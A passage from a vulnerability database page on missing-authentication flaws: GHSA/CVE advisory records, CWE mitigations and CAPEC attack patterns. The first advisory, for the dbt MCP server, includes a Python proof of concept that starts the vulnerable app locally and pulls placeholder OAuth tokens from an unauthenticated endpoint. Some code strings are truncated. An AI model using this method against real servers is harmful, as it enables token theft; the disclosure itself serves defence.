Path\n\nimport httpx\nimport uvicorn\nimport yaml\n\n# Fake tokens that simulate a victim\u0027s completed OAuth session.\nFAKE_ACCESS_TOKEN = \"eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\"\nFAKE_REFRESH_TOKEN = \"dbt-platform-offline-refresh-SUPERSECRET-abc123\"\n\nFAKE_CONTEXT = {\n \"decoded_access_token\": {\n \"access_token_response\": {\n \"access_token\": FAKE_ACCESS_TOKEN,\n \"refresh_token\": FAKE_REFRESH_TOKEN,\n \"expires_in\": 3600,\n \"scope\": \"user_access offline_access\",\n \"token_type\": \"Bearer\",\n \"expires_at\": 9999999999,\n },\n \"decoded_claims\": {\n \"sub\": \"99999\",\n \"iat\": 1700000000,\n \"exp\": 9999999999,\n },\n },\n \"host_prefix\": \"victimco\",\n \"dbt_host\": \"cloud.getdbt.com\",\n \"account_id\": 42,\n \"selected_project_ids\": None,\n \"dev_environment\": None,\n \"prod_environment\": None,\n}\n\nPORT = 16785\n\n\ndef start_server(context_file: Path, static_dir: str) -\u003e None:\n \"\"\"Run the actual vulnerable FastAPI app in a background thread.\"\"\"\n from authlib.integrations.requests_client import OAuth2Session\n from dbt_mcp.oauth.context_manager import DbtPlatformContextManager\n from dbt_mcp.oauth.fastapi_app import create_app\n\n context_manager = DbtPlatformContextManager(context_file)\n\n # A dummy OAuth client \u2014 only used by the /oauth-callback route,\n # which this PoC never triggers.\n fake_oauth_client = OAuth2Session(client_id=\"poc-dummy-client\")\n\n app = create_app(\n oauth_client=fake_oauth_client,\n state_to_verifier={},\n dbt_platform_url=\"https://cloud.getdbt.com\",\n static_dir=static_dir,\n dbt_platform_context_manager=context_manager,\n )\n\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n config = uvicorn.Config(\n app=app, host=\"127.0.0.1\", port=PORT, log_level=\"error\", loop=\"asyncio\"\n )\n server = uvicorn.Server(config)\n loop.run_until_complete(server.serve())\n\n\ndef wait_for_server(port: int, timeout: float = 15.0) -\u003e bool:\n import socket\n\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n with socket.create_connection((\"127.0.0.1\", port), timeout=1):\n return True\n except OSError:\n time.sleep(0.2)\n return False\n\n\ndef main() -\u003e int:\n print(\"[*] VULN-001 PoC \u2014 Unauthenticated /dbt_platform_con token leak\")\n print(\"=\" * 70)\n\n # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)\n context_file = Path(\"/tmp/dbt_poc_mcp.yml\")\n context_file.write_(\n yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding=\"utf-8\"\n )\n print(f\"[*] Con file written: {context_file}\")\n print(f\" access_token : {FAKE_ACCESS_TOKEN}\")\n print(f\" refresh_token : {FAKE_REFRESH_TOKEN}\")\n\n # 2. Minimal static dir so NoCacheStaticFiles mount doesn\u0027t error on startup\n static_dir = tempfile.mkdtemp(prefix=\"dbt_poc_static_\")\n (Path(static_dir) / \"index.html\").write_(\"\u003chtml\u003edbt OAuth\u003c/html\u003e\")\n\n # 3. Start the real vulnerable FastAPI server in a background thread\n t = threading.Thread(\n target=start_server, args=(context_file, static_dir), daemon=True\n )\n t.start()\n\n print(f\"\\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...\")\n if not wait_for_server(PORT):\n print(\"[-] FAIL: Server did not start within timeout.\")\n return 2\n\n print(\"[*] Server is up.\")\n\n # 4. Send unauthenticated GET /dbt_platform_con (no Authorization header)\n url = f\"http://127.0.0.1:{PORT}/dbt_platform_con\"\n print(f\"\\n[*] Sending unauthenticated GET {url}\")\n try:\n resp = httpx.get(url, timeout=10)\n except Exception as exc:\n print(f\"[-] HTTP request failed: {exc}\")\n return 2\n\n print(f\"[*] HTTP Status: {resp.status_code}\")\n\n if resp.status_code != 200:\n print(f\"[-] FAIL: Expected 200, got {resp.status_code}\")\n print(f\" Body: {resp.[:500]}\")\n return 1\n\n try:\n data = resp.json()\n except Exception as exc:\n print(f\"[-] FAIL: Response is not JSON: {exc}\\n Body: {resp.[:500]}\")\n return 1\n\n print(f\"\\n[*] Full response JSON:\\n{json.dumps(data, indent=2)}\")\n\n # 5. Verify that the tokens are in the response (no redaction, no auth required)\n try:\n leaked_access = (\n data[\"decoded_access_token\"][\"access_token_response\"][\"access_token\"]\n )\n leaked_refresh = (\n data[\"decoded_access_token\"][\"access_token_response\"][\"refresh_token\"]\n )\n except (KeyError, TypeError) as exc:\n print(f\"\\n[-] FAIL: Token fields missing from response: {exc}\")\n return 1\n\n print(f\"\\n[!] LEAKED access_token : {leaked_access}\")\n print(f\"[!] LEAKED refresh_token : {leaked_refresh}\")\n\n if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:\n print(\n \"\\n[+] VULNERABILITY CONFIRMED:\"\n \" Tokens returned from /dbt_platform_con WITHOUT authentication!\"\n )\n return 0\n else:\n print(\"\\n[-] FAIL: Returned tokens do not match expected values.\")\n print(f\" Expected access_token : {FAKE_ACCESS_TOKEN}\")\n print(f\" Got access_token : {leaked_access}\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
  "id": "GHSA-jr33-mw75-7j8f",
  "modified": "2026-06-19T21:15:40Z",
  "published": "2026-06-19T21:15:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dbt-labs/dbt-mcp/security/advisories/GHSA-jr33-mw75-7j8f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dbt-labs/dbt-mcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "dbt MCP Server: Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens"
}

GHSA-JR4H-HC9R-9RR3

Vulnerability from github – Published: 2022-05-11 00:00 – Updated: 2025-10-22 00:32
VLAI
Details

Windows LSA Spoofing Vulnerability.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-26925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-10T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Windows LSA Spoofing Vulnerability.",
  "id": "GHSA-jr4h-hc9r-9rr3",
  "modified": "2025-10-22T00:32:32Z",
  "published": "2022-05-11T00:00:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26925"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26925"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-26925"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-26925"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR5J-FM92-5MM4

Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35
VLAI
Details

Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Security Framework). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal. While the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-46803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T10:53:57Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Security Framework).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal.  While the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).",
  "id": "GHSA-jr5j-fm92-5mm4",
  "modified": "2026-06-17T18:35:29Z",
  "published": "2026-06-17T18:35:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46803"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspujun2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR6G-MP22-2PF7

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06
VLAI
Details

IBM Guardium Data Encryption (GDE) 3.0.0.2 and 4.0.0.4 does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2021-20474"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-07T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "IBM Guardium Data Encryption (GDE) 3.0.0.2 and 4.0.0.4 does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.",
  "id": "GHSA-jr6g-mp22-2pf7",
  "modified": "2022-05-24T19:06:59Z",
  "published": "2022-05-24T19:06:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20474"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/196945"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6469407"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JRH6-CM82-9CWP

Vulnerability from github – Published: 2023-03-28 00:34 – Updated: 2023-04-04 03:30
VLAI
Details

The Bluetooth module has an authentication bypass vulnerability in the pairing process. Successful exploitation of this vulnerability may affect confidentiality.

Severity
6.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2022-48291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-27T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Bluetooth module has an authentication bypass vulnerability in the pairing process. Successful exploitation of this vulnerability may affect confidentiality.",
  "id": "GHSA-jrh6-cm82-9cwp",
  "modified": "2023-04-04T03:30:17Z",
  "published": "2023-03-28T00:34:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48291"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/3"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202303-0000001529824505"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRMM-GJRX-G69J

Vulnerability from github – Published: 2025-07-09 09:31 – Updated: 2025-07-09 09:31
VLAI
Details

An unauthenticated user with management network access can get and modify the Radiflow iSAP Smart Collector (CentOS 7 - VSAP 1.20) configuration. The device has two web servers that expose unauthenticated REST APIs on the management network (TCP ports 8084 and 8086). An attacker can use these APIs to get access to all system settings, modify the configuration and execute some commands (e.g., system reboot).

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-3498"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-09T09:15:27Z",
    "severity": "CRITICAL"
  },
  "details": "An unauthenticated user with management network access can get and \nmodify the Radiflow iSAP Smart Collector (CentOS 7 - VSAP 1.20) \nconfiguration. The device has two web servers that expose unauthenticated REST APIs on the management network (TCP\nports 8084 and 8086). An attacker can use these APIs to get access to all system settings, modify the configuration\nand execute some commands (e.g., system reboot).",
  "id": "GHSA-jrmm-gjrx-g69j",
  "modified": "2025-07-09T09:31:12Z",
  "published": "2025-07-09T09:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3498"
    },
    {
      "type": "WEB",
      "url": "https://www.cvcn.gov.it/cvcn/cve/CVE-2025-3498"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRMW-X68C-2F58

Vulnerability from github – Published: 2025-02-27 09:31 – Updated: 2026-04-08 21:33
VLAI
Details

The Login Me Now plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 1.7.2. This is due to insecure authentication based on an arbitrary transient name in the 'AutoLogin::listen()' function. This makes it possible for unauthenticated attackers to log in an existing user on the site, even an administrator. Note: this vulnerability requires using a transient name and value from another software, so the plugin is not inherently vulnerable on it's own.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-1717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-27T08:15:31Z",
    "severity": "HIGH"
  },
  "details": "The Login Me Now plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 1.7.2. This is due to insecure authentication based on an arbitrary transient name in the \u0027AutoLogin::listen()\u0027 function. This makes it possible for unauthenticated attackers to log in an existing user on the site, even an administrator. Note: this vulnerability requires using a transient name and value from another software, so the plugin is not inherently vulnerable on it\u0027s own.",
  "id": "GHSA-jrmw-x68c-2f58",
  "modified": "2026-04-08T21:33:03Z",
  "published": "2025-02-27T09:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1717"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/login-me-now/tags/1.7.2/app/Logins/BrowserTokenLogin/AutoLogin.php#L24"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3247924/login-me-now"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fc689622-50d6-47c4-a5f6-0314b1a207c9?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

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